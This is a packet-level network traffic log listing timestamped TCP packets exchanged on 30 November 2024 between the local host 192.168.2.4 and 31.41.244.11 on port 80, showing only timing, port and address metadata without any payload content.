Nov 30, 2024 18:08:29.691414118 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.691559076 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.691605091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.692387104 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.692676067 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.692720890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.693404913 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.693449974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.693604946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.693937063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.694401979 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.694449902 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.694650888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.694695950 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.695420980 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.695621014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.695672035 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.696414948 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.696479082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.696614027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.696860075 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.697427988 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.697462082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.697896957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.697943926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.698445082 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.698498011 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.698666096 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.698712111 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.699439049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.699486971 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.699661970 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.700459957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.700527906 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.700680971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.700725079 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.701462984 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.701673985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.701682091 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.701716900 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.702478886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.702521086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.702696085 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.702743053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.703489065 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.703660011 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.703690052 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.703732014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.704487085 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.704565048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.704783916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.705614090 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.705662966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.705878973 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.705924988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.706521034 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.706566095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.706728935 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.706768036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.707627058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.707667112 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.707916975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.707958937 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.708534956 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.708590984 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.708760977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.708810091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.709661007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.709708929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.709799051 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.709944963 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.710556030 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.710623980 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.710767984 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.710813999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.711632013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.711682081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.711883068 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.711963892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.712587118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.712627888 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.712783098 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.713596106 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.713648081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.713808060 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.713854074 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.714626074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.714667082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.714828014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.714869022 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.715617895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.715679884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.715833902 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.715883017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.716646910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.716695070 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.716842890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.716891050 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.717689991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.717741966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.717866898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.717924118 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.718765020 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.718816996 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.719002008 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.719069004 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.719800949 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.719851971 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.720032930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.720072031 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.720663071 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.720726967 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.720876932 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.720928907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.721817970 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.721863985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.722018003 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.722057104 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.722692013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.722740889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.722910881 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.722949982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.723720074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.723920107 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.723963976 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.724704027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.724746943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.724914074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.724961042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.725800037 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.725843906 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.725991964 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.726036072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.726880074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.726921082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.727093935 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.727138996 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.727782965 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.727982998 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.728029966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.728807926 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.728853941 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.729031086 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.729073048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.729852915 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.729898930 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.730915070 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.730935097 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.730945110 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.730958939 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.730972052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.731926918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.732122898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.732166052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.732824087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.732866049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.733016014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.733058929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.733877897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.733920097 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.734078884 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.734122992 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.734549046 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.734594107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.734766006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.734810114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.735558033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.735601902 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.735761881 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.736530066 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.736572027 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.736939907 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.736984015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.737524033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.737565994 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.886125088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.886184931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.886352062 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.886395931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.886866093 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.886912107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.887238979 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.887286901 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.887801886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.887849092 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.887960911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.888005972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.888573885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.888618946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.888766050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.888808012 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.889585018 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.889628887 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.889780045 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.889823914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.890621901 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.890667915 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.890877962 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.890944958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.891623974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.891670942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.891829014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.891872883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.892602921 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.892648935 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.892841101 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.892885923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.893712044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.893763065 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.893919945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.893964052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.894637108 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.894680977 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.894831896 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.894876957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.895641088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.895689011 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.895845890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.895889997 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.896660089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.896704912 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.896843910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.896887064 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.897694111 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.897737026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.897851944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.897896051 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.898683071 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.898858070 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.898881912 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.898926020 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.899701118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.899746895 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.899918079 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.899961948 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.900722027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.900764942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.900913000 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.900988102 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.901855946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.901902914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.902054071 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.902096987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.902734041 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.902780056 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.902918100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.902964115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.903723001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.903765917 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.903934956 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.903980017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.904723883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.904767036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.904922962 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.904966116 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.905761957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.905803919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.905982971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.906028032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.906764030 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.906805038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.906970978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.907015085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.907767057 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.907813072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.907962084 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.908005953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.908759117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.908807039 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.908958912 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.909003019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.909835100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.909876108 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.910043955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.910092115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.910788059 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.910830975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.910993099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.911031961 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.911833048 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.911878109 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.911999941 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.912043095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.912832975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.912878036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.913039923 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.913084030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.913885117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.913933992 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.914086103 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.914133072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.914868116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.915069103 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.915132999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.915911913 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.916029930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.916089058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.916850090 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.916899920 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.917059898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.917108059 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.917866945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.917908907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.918055058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.918092012 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.918901920 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.918948889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.919090033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.919135094 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.919918060 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.919965029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.920084953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.920129061 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.920907021 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.920954943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.921107054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.921165943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.921905994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.921952009 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.922102928 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.922149897 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.922925949 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.922969103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.923121929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.923168898 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.923922062 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.923965931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.924125910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.924170017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.924931049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.924974918 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.925139904 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.925185919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.925952911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.925997019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.926172972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.926219940 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.927016973 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.927059889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.927223921 CET	80	49805	31.41.244.11	192.168.2.4
